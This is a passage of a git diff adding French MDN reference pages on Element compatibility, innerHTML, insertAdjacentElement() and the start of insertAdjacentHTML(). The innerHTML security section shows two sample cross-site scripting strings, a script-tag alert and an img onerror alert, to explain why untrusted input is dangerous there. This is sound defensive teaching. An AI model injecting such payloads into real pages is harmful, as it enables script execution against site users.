+   <td>{{CompatGeckoDesktop("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>hasAttributes()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} (on the {{domxref("Node")}} interface)<br>
+    {{CompatGeckoDesktop("35")}} (on this interface</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>insertAdjacentElement()</code>, <code>insertAdjacentText()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>assignedSlot</code>, <code>attatchShadow</code>, <code>shadowRoot</code>, and <code>slot</code></td>
+   <td>{{CompatChrome(53)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>computedRole</code> and <code>computedName</code></td>
+   <td>{{CompatChrome(41)}}[4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>28[4]</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>scrollTopMax()</code> and <code>scrollLeftMax()</code></td>
+   <td>{{CompatNo}}</td>
+   <td></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("16")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>closest()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("35")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>hasAttributes()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("1.0")}} (on the {{domxref("Node")}} interface)<br>
+    {{CompatGeckoMobile("35")}} (on this interface</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>insertAdjacentElement()</code>, <code>insertAdjacentText()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>assignedSlot</code>, <code>attatchShadow</code>, <code>shadowRoot</code>, and <code>slot</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(53.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(53)}}</td>
+  </tr>
+  <tr>
+   <td><code>computedRole</code> and <code>computedName</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>28[4]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 7 et 8 retourne incorrectement les commentaires dans le cadre des enfants d'un élément. <span>Ceci est corrigé dans Internet Explorer 9 et versions ultérieures.</span></p>
+
+<p>[2] Chrome 16 permet <code>webkitRequestPointerLock()</code> uniquement en plein écran ; Chrome 21 pour un site web de confiance (permission demandée) ; Chrome 22 autorise par défaut pour tous les documents de même origine ; Chrome 23 autorise dans le bac à sable {{HTMLElement("iframe")}} si la valeur non-standard <code>webkit-allow-pointer-lock</code> est définie dans l'attribut {{htmlattrxref("sandbox", "iframe")}}.</p>
+
+<p>[3] Implémentation <span class="short_text" id="result_box" lang="fr"><span>retiré.</span></span> Voir {{Bug("1166347")}}.</p>
+
+<p>[4] <span class="short_text" id="result_box" lang="fr"><span>Derrière une balise (flag).</span></span></p>
+
+<dl>
+ <dd></dd>
+</dl>
+
+<p><span class="comment">Devrait figurer sur une page traitant de NodeList  ; <a href="/fr/DOM/element.item">item</a>: Retrouve un nœud dans une &lt;code&gt;NodeList&lt;/code&gt; par son indice. (DOM Core, ne fait pas partie de l'interface &lt;code&gt;Element&lt;/code&gt;)</span> <span class="comment">?? ; <a href="/fr/DOM/element.supports">supports</a>: Teste si cette implémentation du DOM gère une fonctionnalité particulière. (DOM Core)</span></p>
diff --git a/files/fr/web/api/element/innerthtml/index.html b/files/fr/web/api/element/innerthtml/index.html
new file mode 100644
index 0000000000..6addb7d54e
--- /dev/null
+++ b/files/fr/web/api/element/innerthtml/index.html
@@ -0,0 +1,203 @@
+---
+title: element.innerHTML
+slug: Web/API/Element/innertHTML
+tags:
+  - API
+  - DOM
+  - Elements
+  - HTML
+  - Propriétés
+translation_of: Web/API/Element/innerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propriété <strong><code>Element.innerHTML</code></strong> de {{domxref("Element")}} récupère ou définit la syntaxe HTML décrivant les descendants de l'élément.</p>
+
+<div class="note"><strong>Note: </strong>Si un nœud {{HTMLElement("div")}}, {{HTMLElement("span")}}, ou {{HTMLElement("noembed")}} a un sous-nœud de type texte contenant les caractères <code>(&amp;), (&lt;),</code> ou <code>(&gt;)</code>, <code>innerHTML</code> renverra à la place les chaînes suivantes : <code>"&amp;amp;"</code>, <code>"&amp;lt;"</code> et <code>"&amp;gt;"</code> respectivement. Utilisez {{domxref("Node.textContent")}} pour obtenir une copie exacte du contenu de ces nœuds.</div>
+
+<p>Pour insérer le HTML dans le document, plutôt que de remplacer le contenu d'un élément, utilisez la méthode {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">const <em>content</em> = <em>element</em>.innerHTML;
+
+<em>element</em>.innerHTML = <em>htmlString</em>;
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une  {{domxref("DOMString")}} contenant la sérialisation HTML des descendants de l'élément. Définir la valeur de <code>innerHTML</code> supprime tous les descendants et les remplace par les noeuds construits en analysant le HTML donné dans la chaîne <code>htmlString</code>.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Une tentative a été faite de définir la valeur de <code>innerHTML</code> en utilisant une chaîne qui n'est pas correctement formée HTML.</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>Une tentative a été faite d'insérer le code HTML dans un noeud dont le parent est un {{domxref("Document")}}.</dd>
+</dl>
+
+<h2 id="Notes_dutilisation">Notes d'utilisation</h2>
+
+<p>La propriété <code>innerHTML</code> peut être utilisée pour examiner la source HTML actuelle de la page, y compris tous les changements réalisés depuis son chargement initial.</p>
+
+<h3 id="Lecture_du_contenu_HTML_dun_élément">Lecture du contenu HTML d'un élément</h3>
+
+<p>La lecture de <code>innerHTML</code> amène l'agent utilisateur à sérialiser le fragment HTML ou XML composé des descendants de l'élément. La chaîne résultante est renvoyée.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">let</span> contents <span class="operator token">=</span> myElement<span class="punctuation token">.</span>innerHTML<span class="punctuation token">;</span></code></pre>
+
+<p>Cela vous permet de regarder le balisage HTML des nœuds de contenu de l'élément.</p>
+
+<div class="note">
+<p><span id="result_box" lang="fr"><span><strong>Note :</strong> Le fragment HTML ou XML renvoyé est généré en fonction du contenu actuel de l'élément. Il est donc probable que le balisage et la mise en forme du fragment renvoyé ne correspondent pas au balisage de la page d'origine.</span></span></p>
+</div>
+
+<h3 id="Remplacement_du_contenu_dun_élément">Remplacement du contenu d'un élément</h3>
+
+<p>Définir la valeur de <code>innerHTML</code> vous permet de remplacer aisément le contenu existant d'un élément par un nouveau contenu.</p>
+
+<p>Par exemple, vous pouvez effacer le contenu entier du document en effaçant le contenu de l'attribut {{domxref("Document.body", "body")}} du document.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">document<span class="punctuation token">.</span>body<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> <span class="string token">""</span><span class="punctuation token">;</span></code></pre>
+
+<p>Cet exemple récupère le balisage HTML actuel du document et remplace les caractères <code>"&lt;"</code> par l'entité HTML <code>"&amp; lt;"</code>, convertissant ainsi essentiellement le code HTML en texte brut. Ceci est ensuite inclus dans un élément {{HTMLElement ("pre")}}. Puis, la valeur de <code>innerHTML</code> est modifiée dans cette nouvelle chaîne. Par conséquent, le contenu du document est remplacé par un affichage du code source entier de la page.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">document<span class="punctuation token">.</span>documentElement<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> <span class="string token">"&lt;pre&gt;"</span> <span class="operator token">+</span>
+         document<span class="punctuation token">.</span>documentElement<span class="punctuation token">.</span>innerHTML<span class="punctuation token">.</span><span class="function token">replace</span><span class="punctuation token">(</span><span class="regex token">/&lt;/g</span><span class="punctuation token">,</span><span class="string token">"&amp;lt;"</span><span class="punctuation token">)</span> <span class="operator token">+</span>
+            <span class="string token">"&lt;/pre&gt;"</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="Détails_opérationnels">Détails opérationnels</h4>
+
+<p>Qu'arrive-t-il exactement quand vous définissez la valeur de <code>innerHTML</code> ?  Cela entraîne l'agent utilisateur à suivre ces étapes :</p>
+
+<ol>
+ <li>La valeur spécifiée est analysée en HTML ou XML (en fonction du type de document), ce qui donne un objet {{domxref ("DocumentFragment")}} représentant le nouvel ensemble de nœuds DOM pour les nouveaux éléments.</li>
+ <li>Si l'élément dont le contenu est remplacé est un élément {{HTMLElement ("template")}}, l'attribut {{domxref ("HTMLTemplateElement.content", "content")}} de l'élément <code>&lt;template&gt;</code> est remplacé par le nouveau <code>DocumentFragment</code> créé à l'étape 1.</li>
+ <li>Pour tous les autres éléments, le contenu de l'élément est remplacé par les noeuds du nouveau <code>DocumentFragment</code>.</li>
+</ol>
+
+<h3 id="Considérations_de_sécurité">Considérations de sécurité</h3>
+
+<p>Il n'est pas rare de voir <code>innerHTML</code> utilisé pour insérer du texte dans une page Web. Il est possible que ceci devienne un vecteur d'attaque sur un site, ce qui crée potentiellement un risque de sécurité.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">const</span> name <span class="operator token">=</span> <span class="string token">"John"</span><span class="punctuation token">;</span>
+<span class="comment token">// en supposant que 'el' est un élément de document HTML</span>
+el<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> name<span class="punctuation token">;</span> <span class="comment token">// inoffensif dans ce cas</span>
+
+<span class="comment token">// ...</span>
+
+name <span class="operator token">=</span> <span class="string token">"&lt;script&gt;alert('I am John in an annoying alert!')&lt;/script&gt;"</span><span class="punctuation token">;</span>
+el<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> name<span class="punctuation token">;</span> <span class="comment token">// inoffensif dans ce cas</span></code></pre>
+
+<p>Bien que cela puisse ressembler à une attaque {{interwiki ("wikipedia", "cross-site_scripting","cross-site scripting")}}, le résultat est inoffensif. HTML5 spécifie qu'une balise {{HTMLElement ("script")}} insérée avec <code>innerHTML</code> <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">ne doit pas s'exécuter</a>.</p>
+
+<p>Cependant, il existe des moyens d'exécuter JavaScript sans utiliser les éléments {{HTMLElement ("script")}}, donc il existe toujours un risque de sécurité chaque fois que vous utilisez <code>innerHTML</code> pour définir des chaînes sur lesquelles vous n'avez aucun contrôle. Par exemple :</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">const</span> name <span class="operator token">=</span> <span class="string token">"&lt;img src='x' onerror='alert(1)'&gt;"</span><span class="punctuation token">;</span>
+el<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> name<span class="punctuation token">;</span> <span class="comment token">// affiche l'alerte</span></code></pre>
+
+<p>Pour cette raison, il est recommandé de ne pas utiliser <code>innerHTML</code> pour insérer du texte brut ; à la place, utilisez {{domxref("Node.textContent")}}. Cela n'analyse pas le contenu passé en HTML, mais l'insère à la place en tant que texte brut.</p>
+
+<div class="warning">
+<p><strong>Attention :</strong> <span id="result_box" lang="fr"><span>Si votre projet est soumis à une vérification de sécurité, l'utilisation de <code>innerHTML</code> entraînera probablement le rejet de votre code.</span> <span>Par exemple, si vous utilisez <code>innerHTML</code> dans une extension de navigateur et soumettez l'extension à addons.mozilla.org, elle ne passera pas le processus de révision automatique.</span></span></p>
+</div>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<p>Cet exemple utilise <code>innerHTML</code> pour créer un mécanisme pour consigner des messages dans une boîte sur une page Web.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">log</span><span class="punctuation token">(</span>msg<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> logElem <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">".log"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="keyword token">var</span> time <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Date</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">var</span> timeStr <span class="operator token">=</span> time<span class="punctuation token">.</span><span class="function token">toLocaleTimeString</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  logElem<span class="punctuation token">.</span>innerHTML <span class="operator token">+</span><span class="operator token">=</span> timeStr <span class="operator token">+</span> <span class="string token">": "</span> <span class="operator token">+</span> msg <span class="operator token">+</span> <span class="string token">"&lt;br/&gt;"</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Logging mouse events inside this container..."</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>La fonction <code>log()</code> crée la sortie du journal en récupérant l'heure actuelle à partir d'un objet {{jsxref ("Date")}} en utilisant {{jsxref ("Date.toLocaleTimeString", "toLocaleTimeString ()")}} et en créant une chaîne avec l'horodatage et le texte du message. Ensuite, le message est ajouté à la boîte avec la classe <code>"log"</code>.</p>
+
+<p>Nous ajoutons une seconde méthode qui enregistre des informations sur les événements basés sur {{domxref ("MouseEvent")}} (tels que {{event ("mousedown")}}, {{event ("click")}} et {{event ("mouseenter") }}) :</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logEvent</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> msg <span class="operator token">=</span> <span class="string token">"Event &lt;strong&gt;"</span> <span class="operator token">+</span> event<span class="punctuation token">.</span>type <span class="operator token">+</span> <span class="string token">"&lt;/strong&gt; at &lt;em&gt;"</span> <span class="operator token">+</span>
+            event<span class="punctuation token">.</span>clientX <span class="operator token">+</span> <span class="string token">", "</span> <span class="operator token">+</span> event<span class="punctuation token">.</span>clientY <span class="operator token">+</span> <span class="string token">"&lt;/em&gt;"</span><span class="punctuation token">;</span>
+  <span class="function token">log</span><span class="punctuation token">(</span>msg<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Alors, nous utilisons ceci comme un gestionnaire d'évènements pour un certain nombre d'évènements de souris sur la boîte qui contient notre journal.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> boxElem <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">".box"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+boxElem<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"mousedown"</span><span class="punctuation token">,</span> logEvent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+boxElem<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"mouseup"</span><span class="punctuation token">,</span> logEvent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+boxElem<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> logEvent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+boxElem<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"mouseenter"</span><span class="punctuation token">,</span> logEvent<span class="punctuation token">)</span><span class="punctuation token">;</span>
+boxElem<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"mouseleave"</span><span class="punctuation token">,</span> logEvent<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Le HTML est assez simple pour notre exemple.</p>
+
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>box<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>strong</span><span class="punctuation token">&gt;</span></span>Log:<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>strong</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>log<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p><span id="result_box" lang="fr"><span>Le {{HTMLElement ("div")}} avec la classe <code>"box"</code> est juste un conteneur pour la mise en page, présentant le contenu avec une boîte autour de lui.</span> <span>Le <code>&lt;div&gt;</code> dont la classe est <code>"log"</code> est le conteneur pour le texte du journal lui-même.</span></span></p>
+
+<h3 id="Notes" name="Notes">CSS</h3>
+
+<p>Les styles CSS suivants pour notre exemple de contenu.</p>
+
+<pre class="brush: css line-numbers  language-css notranslate"><code class="language-css"><span class="selector token"><span class="class token">.box</span> </span><span class="punctuation token">{</span>
+  <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">600</span>px<span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">300</span>px<span class="punctuation token">;</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">1</span>px solid black<span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">2</span>px <span class="number token">4</span>px<span class="punctuation token">;</span>
+  <span class="property token">overflow-y</span><span class="punctuation token">:</span> scroll<span class="punctuation token">;</span>
+  <span class="property token">overflow-x</span><span class="punctuation token">:</span> auto<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token"><span class="class token">.log</span> </span><span class="punctuation token">{</span>
+  <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">8</span>px<span class="punctuation token">;</span>
+  <span class="property token">font-family</span><span class="punctuation token">:</span> monospace<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>Le contenu résultant ressemble à ceci. Vous pouvez voir la sortie dans le journal en déplaçant la souris dans et hors de la boîte, en cliquant dedans, et ainsi de suite.</p>
+
+<p>{{EmbedLiveSample("Exemple", 640, 350)}}</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr style="background-color: rgb(255, 204, 255);">
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#innerhtml', 'Element.innerHTML')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="References" name="References">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.textContent")}} and {{domxref("Node.innerText")}}</li>
+ <li>{{domxref("Element.insertAdjacentHTML")}}</li>
+ <li>Analyse HTML dans une arborescence DOM : {{domxref("DOMParser")}}</li>
+ <li>Sérialisation XML ou HTML dans une arborescence DOM : {{domxref("XMLSerializer")}}</li>
+</ul>
diff --git a/files/fr/web/api/element/insertadjacentelement/index.html b/files/fr/web/api/element/insertadjacentelement/index.html
new file mode 100644
index 0000000000..2597358d00
--- /dev/null
+++ b/files/fr/web/api/element/insertadjacentelement/index.html
@@ -0,0 +1,127 @@
+---
+title: Element.insertAdjacentElement()
+slug: Web/API/Element/insertAdjacentElement
+tags:
+  - API
+  - DOM
+  - Element
+  - Insertion
+  - Méthodes
+translation_of: Web/API/Element/insertAdjacentElement
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code>insertAdjacentElement()</code> insère un noeud d'élément donné à une position donnée<span id="result_box" lang="fr"><span> par rapport à l'élément sur lequel il est appelé.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre><em>targetElement</em>.insertAdjacentElement(<em>position</em>, <em>element</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>position</dt>
+ <dd>Un objet {{domxref("DOMString")}} (<em>chaîne de caractères</em>) représentant la position par rapport à <code>targetElement</code> ; cela doit correspondre ( sans prendre en compte la casse ) à une des chaînes suivantes :
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code> : Avant <code>targetElement</code> lui-même.</li>
+  <li><code style="color: green;">'afterbegin'</code> : A l'intérieur de <code>targetElement</code>, avant son premier enfant.</li>
+  <li><code style="color: blue;">'beforeend'</code> : A l'intérieur de <code>targetElement</code>, après son dernier enfant.</li>
+  <li><code style="color: magenta;">'afterend'</code> : Après <code>targetElement</code> lui-même.</li>
+ </ul>
+ </dd>
+ <dt>element</dt>
+ <dd>L'élément à insérer dans l'arbre.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>L'élément inséré ou <code>null</code> si l'insertion a échouée.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Exception</th>
+   <th scope="col">Explications</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>La <code>position</code> donnée n'est pas une valeur reconnue.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>L'<code>element</code> spécifié n'est pas un élément valide.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Visualisation_des_positionnements">Visualisation des positionnements</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Note :</strong> Les positions <code>beforebegin</code> et <code>afterend</code> ne fonctionnent que si le noeud est dans l'arbre et s'il possède un élément parent.</div>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">beforeBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  if (activeElem) {
+    activeElem.insertAdjacentElement('beforebegin',tempDiv);
+  }
+  setListener(tempDiv);
+});
+
+afterBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  if (activeElem) {
+    activeElem.insertAdjacentElement('afterend',tempDiv);
+  }
+  setListener(tempDiv);
+});</pre>
+
+<p>Une démo de notre <a href="https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentElement.html">insertAdjacentElement.html</a> est disponible sur Github ( avec le <a href="https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentElement.html">code source</a> ). Nous avons un ensemble d'éléments {{htmlelement("div")}} dans un conteneur. Quand un élément reçoit un clic, il est sélectionné et vous pouvez appuyer sur les boutons <em>Insert before</em> (<em>insérer avant</em>) et <em>Insert after</em> (<em>insérer après</em>) pour insérer de nouveaux divs avant ou après l'élement sélectionné en utilisant <code>insertAdjacentElement()</code>.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-insertadjacentelement', 'insertAdjacentElement()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est génératée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.Element.insertAdjacentElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.appendChild()")}} ( même effet que <code>beforeend</code> )</li>
+</ul>
diff --git a/files/fr/web/api/element/insertadjacenthtml/index.html b/files/fr/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..cbf56853b6
--- /dev/null
+++ b/files/fr/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,102 @@
+---
+title: element.insertAdjacentHTML
+slug: Web/API/Element/insertAdjacentHTML
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Reference
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>insertAdjacentHTML()</code> analyse le texte spécifié en tant que HTML ou XML et insère les noeuds résultants dans le DOM à la position spécifiée. L'élement qui est utilisé n'est pas  réanalysé et les élements qu'il contient ne sont donc pas corrompus. Ceci, et le fait d'éviter la sérialisation supplémentaire, rend la fonction plus rapide et directe que <strong><span style="font-family: courier new,andale mono,monospace;">innerHTML</span>.</strong></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="line-numbers  language-html"><code class="language-html">element.insertAdjacentHTML(position, text);</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>position</code> </dt>
+ <dd>une {{domxref("DOMString")}}  représentant la position relative à l'<code>element</code>, et doit être une des chaînes de caractères suivantes :</dd>
+</dl>
+
+<ul>
+ <li><code style="color: red;">'beforebegin'</code> : Avant l'<code>element</code>  lui-même.</li>
+ <li><code style="color: green;">'afterbegin'</code> : Juste à l'intérieur de l'<code>element</code> , avant son premier enfant.</li>
